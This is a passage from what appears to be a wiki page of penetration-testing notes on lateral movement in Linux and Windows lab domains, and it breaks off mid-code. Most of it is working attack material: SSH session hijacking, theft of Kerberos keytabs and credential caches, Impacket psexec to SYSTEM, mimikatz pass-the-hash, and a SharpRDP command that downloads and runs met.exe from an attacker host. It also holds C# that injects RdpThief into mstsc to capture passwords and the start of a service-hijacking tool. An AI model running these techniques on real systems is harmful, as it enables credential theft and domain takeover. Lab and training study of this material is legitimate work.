&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Generate SSH Keypair on Kali VM:&lt;br /&gt;
kali@kali:~# ssh-keygen&lt;br /&gt;
# View and Copy the Public Key:&lt;br /&gt;
cat /home/kali/.ssh/id_rsa.pub&lt;br /&gt;
# Insert the Public Key on the Target Machine:&lt;br /&gt;
linuxvictim@linuxvictim:~$ echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali&amp;quot; &amp;gt;&amp;gt; /home/linuxvictim/.ssh/authorized_keys&lt;br /&gt;
# SSH into the Target Machine without a Password:&lt;br /&gt;
kali@kali:~$ ssh linuxvictim@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH with ControlMaster ===&lt;br /&gt;
&lt;br /&gt;
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Create SSH Config if it does not exist:&lt;br /&gt;
offsec@controller:~$ cat &amp;gt; ~/.ssh/config&lt;br /&gt;
    Host *&lt;br /&gt;
    ControlPath ~/.ssh/controlmaster/%r@%h:%p&lt;br /&gt;
    ControlMaster auto&lt;br /&gt;
    ControlPersist 10m&lt;br /&gt;
# 2. Set Correct File Permissions:&lt;br /&gt;
offsec@controller:~$ chmod 644 ~/.ssh/config&lt;br /&gt;
# 3. Create ControlMaster Directory if it does not already exists:&lt;br /&gt;
offsec@controller:~$ mkdir ~/.ssh/controlmaster&lt;br /&gt;
# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh&#039;d, exit the session and list files. As you can see there is a socket file now:&lt;br /&gt;
offsec@controller:~$ ls -al ~/.ssh/controlmaster/&lt;br /&gt;
total 8&lt;br /&gt;
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .&lt;br /&gt;
drwx------ 3 offsec offsec 4096 May 13 13:55 ..&lt;br /&gt;
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22&lt;br /&gt;
# 5. Now you can SSH Without Password (piggybacking active session):&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
# 6. SSH to the controller again, but now as the root user:&lt;br /&gt;
# List available sockets:&lt;br /&gt;
root@controller:~# ls -al /home/offsec/.ssh/controlmaster&lt;br /&gt;
# Now you can piggyback the active session with root user, without using the password:&lt;br /&gt;
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH using SSH-Agent and SSH Agent Forwarding ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;:&lt;br /&gt;
SSH-Agent: Manages user&#039;s private keys.&lt;br /&gt;
&lt;br /&gt;
* SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;:&lt;br /&gt;
Doesn&#039;t require private key storage on the intermediate server.&lt;br /&gt;
&lt;br /&gt;
* Users don’t repeatedly input passphrases.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How It Works&#039;&#039;&#039;:&lt;br /&gt;
SSH key requests from destination servers are passed through intermediate hosts to the originating client&#039;s SSH Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create SSH Key Pair:&lt;br /&gt;
ssh-keygen&lt;br /&gt;
# Copy Public Key to Servers:&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim&lt;br /&gt;
# Enable Agent Forwarding on Kali Machine:&lt;br /&gt;
# Add in ~/.ssh/config:&lt;br /&gt;
ForwardAgent yes&lt;br /&gt;
# Allow Agent Forwarding on Controller Server:&lt;br /&gt;
# Add in /etc/ssh/sshd_config:&lt;br /&gt;
AlowAgentForwarding yes&lt;br /&gt;
# Start SSH-Agent:&lt;br /&gt;
kali@kali:~$ eval `ssh-agent`&lt;br /&gt;
# Add Keys to SSH-Agent:&lt;br /&gt;
kali@kali:~$ ssh-add&lt;br /&gt;
# Connect using SSH-Agent Forwarding:&lt;br /&gt;
kali@kali:~$ ssh offsec@controller&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux Kerberos ===&lt;br /&gt;
&lt;br /&gt;
==== General Syntax ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Logging in to the linuxvictim System&lt;br /&gt;
kali@kali:~$ ssh administrator@corp1.com@linuxvictim&lt;br /&gt;
# Note: We are using Active Directory credentials here.&lt;br /&gt;
# Kerberos Tickets and Credential Cache&lt;br /&gt;
#	• AD members using Kerberos authentication get a credential cache file.&lt;br /&gt;
#	• The cache file location is set via KRB5CCNAME environment variable.&lt;br /&gt;
#	• To find the administrator’s credential cache file:&lt;br /&gt;
env | grep KRB5CCNAME&lt;br /&gt;
# Acquiring Kerberos Tickets&lt;br /&gt;
#	• Kerberos tickets expire after some time.&lt;br /&gt;
#	• Use kinit command to get a ticket-granting ticket (TGT) for the current user.&lt;br /&gt;
kinit&lt;br /&gt;
#	• List stored tickets using klist:&lt;br /&gt;
klist&lt;br /&gt;
# Deleting Cached Tickets&lt;br /&gt;
kdestroy&lt;br /&gt;
# Accessing Kerberos Services&lt;br /&gt;
#	• Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication:&lt;br /&gt;
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D &amp;quot;Administrator@CORP1.COM&amp;quot; -W -b &amp;quot;dc=corp1,dc=com&amp;quot; &amp;quot;servicePrincipalName=*&amp;quot;&lt;br /&gt;
# -Y GSSAPI - Force LDAP to use kerberos authentication&lt;br /&gt;
# Requesting a Service Ticket&lt;br /&gt;
#	• Use the kvno utility:&lt;br /&gt;
kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
#	• Confirm the ticket acquisition with klist:&lt;br /&gt;
klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
Valid starting       Expires              Service principal&lt;br /&gt;
10/05/2023 14:02:39  10/06/2023 00:02:39  krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:26  10/06/2023 00:02:39  ldap/dc01.corp1.com@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:54  10/06/2023 00:02:39  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stealing Keytab files ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Automate authentication to Kerberos resources without using a password.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Keytab Files&#039;&#039;&#039;: Contain a Kerberos principal name and encrypted keys.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Creating a Sample Keytab&lt;br /&gt;
administrator@corp1.com@linuxvictim:~$ ktutil&lt;br /&gt;
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac&lt;br /&gt;
Password for administrator@CORP1.COM: [User Password Entered Here]&lt;br /&gt;
ktutil: wkt /tmp/administrator.keytab&lt;br /&gt;
ktutil: quit&lt;br /&gt;
# Keytab file created at /tmp/administrator.keytab.&lt;br /&gt;
# Potential Misuse of Keytab Files&lt;br /&gt;
# 	• With root access, keytab can be used maliciously.&lt;br /&gt;
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab&lt;br /&gt;
# Verifying the Loaded Tickets&lt;br /&gt;
root@linuxvictim:~# klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_1000&lt;br /&gt;
Default principal: administrator@CORP1.COM&lt;br /&gt;
Valid starting    Expires            Service principal&lt;br /&gt;
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
renew until 08/06/2020 15:18:34&lt;br /&gt;
# Renewing Expired Tickets&lt;br /&gt;
       • Renew tickets if expired but within renewal timeframe.&lt;br /&gt;
root@linuxvictim:~# kinit -R&lt;br /&gt;
# Exploiting Loaded Keytab Files&lt;br /&gt;
#       • Authenticate as the domain admin.&lt;br /&gt;
root@linuxvictim:~# smbclient -k -U &amp;quot;CORP1.COM\administrator&amp;quot; //DC01.CORP1.COM/C$&lt;br /&gt;
WARNING: The &amp;quot;syslog&amp;quot; option is deprecated&lt;br /&gt;
Try &amp;quot;help&amp;quot; to get a list of possible commands.&lt;br /&gt;
smb: \&amp;gt; ls&lt;br /&gt;
	$Recycle.Bin DHS 0 Sat Sep 15 03:19:00 2018&lt;br /&gt;
	Documents and Settings DHS 0 Tue Jun 9 13:50:42 2020&lt;br /&gt;
	pagefile.sys AHS 738197504 Fri Oct 2 11:25:15 2020&lt;br /&gt;
	PerfLogs D 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
	Program Files DR 0 Mon Jun 15 08:10:03 2020&lt;br /&gt;
	Program Files (x86) D 0 Tue Jun 9 08:43:21 2020&lt;br /&gt;
ProgramData DH 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Abusing Credential Cache files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Lets say you find a cached credential file in /tmp.&lt;br /&gt;
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*&lt;br /&gt;
Output:&lt;br /&gt;
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000&lt;br /&gt;
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5&lt;br /&gt;
# You can copy, and take ownership of the cache file&lt;br /&gt;
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow&lt;br /&gt;
&lt;br /&gt;
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow&lt;br /&gt;
# Now, to use the stole cache file. First destroy the current keys.&lt;br /&gt;
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache.&lt;br /&gt;
offsec@linuxvictim:~$ kdestroy&lt;br /&gt;
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
Output:&lt;br /&gt;
klist: No credentials cache found (filename: /tmp/krb5cc_1000)&lt;br /&gt;
...&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_minenow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
# Requesting Service Tickets with the Stolen Cache&lt;br /&gt;
offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
&lt;br /&gt;
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Using Kerberos ticket locally ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Copy the victim&#039;s stolen ccache file to the Kali machine.&lt;br /&gt;
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow&lt;br /&gt;
# Set the KRB5CCNAME environment variable to use the victim&#039;s Kerberos tickets.&lt;br /&gt;
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
# These utilities help in performing ticket manipulation tasks.&lt;br /&gt;
kali@kali:~$ sudo apt install krb5-user&lt;br /&gt;
# Determine the IP address of the domain controller and configure the hosts file to recognize it.&lt;br /&gt;
offsec@linuxvictim:~$ host corp1.com&lt;br /&gt;
# Update the /etc/hosts file with domain controller details.&lt;br /&gt;
# Set up Proxy for Kerberos Authentication:&lt;br /&gt;
# The idea is to make it seem like the authentication requests are coming from the domain-joined host.&lt;br /&gt;
#	• Adjust proxy settings: Comment out proxy_dns in /etc/proxychains.conf.&lt;br /&gt;
#	• Create a SOCKS server using SSH on the compromised server.&lt;br /&gt;
kali@kali:~$ ssh offsec@linuxvictim -D 9050&lt;br /&gt;
# Get Users SPN&lt;br /&gt;
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# List all AD users from domain&lt;br /&gt;
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# Use Impacket&#039;s psexec to get a shell.&lt;br /&gt;
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass&lt;br /&gt;
ProxyChains-3.1 ( http://proxychains.sf.net)&lt;br /&gt;
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation&lt;br /&gt;
...&lt;br /&gt;
[*] Requesting shares on DC01.CORP1.COM.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file tDwixbpM.exe&lt;br /&gt;
[*] Opening SVCManager on DC01.CORP1.COM.....&lt;br /&gt;
[*] Creating service cEiR on DC01.CORP1.COM.....&lt;br /&gt;
[*] Starting service cEiR.....&lt;br /&gt;
...&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.1282]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Windows ==&lt;br /&gt;
&lt;br /&gt;
=== RDP ===&lt;br /&gt;
&lt;br /&gt;
* Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop).&lt;br /&gt;
&lt;br /&gt;
* Require local administrator to dump the NTLM hashes&lt;br /&gt;
&lt;br /&gt;
* Restricted Admin Mode allows RDP connections without saving credentials on the remote machine.&lt;br /&gt;
It mitigates credential theft on the target system during the RDP session.&lt;br /&gt;
&lt;br /&gt;
* The mode is disabled by default but can be enabled via a registry entry.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
# If LSA protection is enabled, scroll a bit up to know how to disable it.&lt;br /&gt;
# Once the hash is captured, pass it using the command. mstsc.exe window will popup.&lt;br /&gt;
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:&amp;quot;mstsc.exe /restrictedadmin&amp;quot;&lt;br /&gt;
# If restricted admin is disabled, enable it by using powershell on target machine&lt;br /&gt;
 mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell&lt;br /&gt;
# A Powershell window wil popup.&lt;br /&gt;
Enter-PSSession -Computer appsrv01&lt;br /&gt;
# Enabled Restricted Admin mode&lt;br /&gt;
 New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Disable RAM&lt;br /&gt;
Remove-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse RDP Proxying with Metasploit ====&lt;br /&gt;
&lt;br /&gt;
* Access machines protected by firewalls and NAT configurations via reverse proxying.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisite:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Already have an established meterpreter session&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Background current meterpreter shell&lt;br /&gt;
background&lt;br /&gt;
# Set Up Autoroute in Metasploit:&lt;br /&gt;
msf5 exploit(multi/handler) &amp;gt; use multi/manage/autoroute&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; set session 1&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; exploit&lt;br /&gt;
# Configure SOCKS Proxy:&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; use auxiliary/server/socks5&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; set srvhost 127.0.0.1&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; exploit -j&lt;br /&gt;
# Set Up Proxychains for Reverse Tunnel:&lt;br /&gt;
#     Add the SOCKS5 proxy IP and port to Proxychains config:&lt;br /&gt;
kali@kali:~$ sudo bash -c &#039;echo &amp;quot;socks5 127.0.0.1 1080&amp;quot; &amp;gt;&amp;gt; /etc/proxychains.conf&#039;&lt;br /&gt;
# Now you can RDP to target that is protected by edge firewall&lt;br /&gt;
kali@kali:~$ proxychains rdesktop 192.168.120.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SharpRDP.exe - Console rdp ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/SharpRDP]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sharprdp.exe computername=appsrv01 command=&amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/met.exe&#039;,&lt;br /&gt;
&#039;C:\Windows\Tasks\met.exe&#039;); C:\Windows\Tasks\met.exe&amp;quot; username=corp1\dave&lt;br /&gt;
password=lab&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Steal RDP creds using RDPThief.dll ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0x09AL/RdpThief GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.]&lt;br /&gt;
&lt;br /&gt;
* Build the rdpthief dll from above link.&lt;br /&gt;
If detours is missing, use Nuget to uninstall and install it again.&lt;br /&gt;
&lt;br /&gt;
* The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine.&lt;br /&gt;
&lt;br /&gt;
* To see the captured credentials, check the output file: &amp;lt;code&amp;gt;​C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Temp\&amp;lt;session_ID&amp;gt;\data.bin​&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;  // Added this line for Thread.Sleep()&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String dllName = &amp;quot;C:\\Tools\\RdpThief.dll&amp;quot;;&lt;br /&gt;
            while (true)&lt;br /&gt;
            {&lt;br /&gt;
                Process[] mstscProc = Process.GetProcessesByName(&amp;quot;mstsc&amp;quot;);&lt;br /&gt;
                if (mstscProc.Length &amp;gt; 0)&lt;br /&gt;
	                {&lt;br /&gt;
                    for (int i = 0; i &amp;lt; mstscProc.Length; i++)&lt;br /&gt;
                    {&lt;br /&gt;
                        int pid = mstscProc[i].Id;&lt;br /&gt;
                        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
                        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
                        IntPtr outSize;&lt;br /&gt;
                        Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
                        IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
                        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                Thread.Sleep(1000);  // Sleep for 1 second before checking again&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fileless Lateral Movement ===&lt;br /&gt;
&lt;br /&gt;
Using fileless lateral movement will&lt;br /&gt;
&lt;br /&gt;
* Execute code without registering new service.&lt;br /&gt;
&lt;br /&gt;
* Avoid writing file to disk.&lt;br /&gt;
&lt;br /&gt;
PSExec however will write to disk. At a highlevel:&lt;br /&gt;
&lt;br /&gt;
* PsExec authenticates to SMB on the target host and accesses the DCE/RPC&lt;br /&gt;
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network.&lt;br /&gt;
&lt;br /&gt;
* PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.&lt;br /&gt;
&lt;br /&gt;
Choose a service thats is not vital to the OS and is not used by default. Check service.msc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The user running the code below have the TGT for &amp;lt;code&amp;gt;cifs/appsrv01&amp;lt;/code&amp;gt; in the memory.&lt;br /&gt;
&lt;br /&gt;
* The code will connect to target &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt;, open the service &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; and change it to open &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* When &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; is executed, &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt; will run as SYSTEM user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace PSLessExec&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint SC_MANAGER_ALL_ACCESS = 0xF003F;&lt;br /&gt;
        public static uint SERVICE_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint SERVICE_DEMAND_START = 0x3;&lt;br /&gt;
        public static uint SERVICE_NO_CHANGE = 0xffffffff;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public class QUERY_SERVICE_CONFIG&lt;br /&gt;
        {&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwServiceType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwStartType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwErrorControl;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpBinaryPathName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpLoadOrderGroup;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwTagID;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDependencies;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpServiceStartName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDisplayName;&lt;br /&gt;
        };&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            if (args.Length != 3)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]&amp;quot;);&lt;br /&gt;
